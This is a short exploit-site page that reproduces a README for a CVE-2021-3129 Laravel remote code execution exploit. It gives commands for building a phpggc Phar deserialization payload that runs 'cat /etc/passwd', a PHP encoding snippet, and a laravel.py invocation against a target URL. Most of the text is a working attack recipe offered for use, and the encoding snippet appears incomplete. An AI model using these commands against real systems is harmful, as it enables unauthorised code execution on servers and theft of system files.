Sploitus

Exploit for CVE-2021-3129

githubexploit · 2022-10-11

Exploit Code

README16 lines
## https://sploitus.com/exploit?id=02C11241-781D-5142-A562-1315AFB6C819
# CVE-2021-3129  
Generate a Phar package with custom commands:  
`php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0`  

Use the following command to enter the PHP command line environment:  
`php -a`  

Create a file for storing the generated payload:  
`$fp = fopen('php://output', 'w');  
stream_filter_append($fp, 'convert.quoted-printable-encode');  
$size = "";  
fwrite($fp, iconv('utf-8','utf-16le',$size));`  

Save the generated payload as a file. Then, use the script to execute the following command:  
`python laravel.py --url "http(s)://192.168.0.109:8000//" --phar test.phar`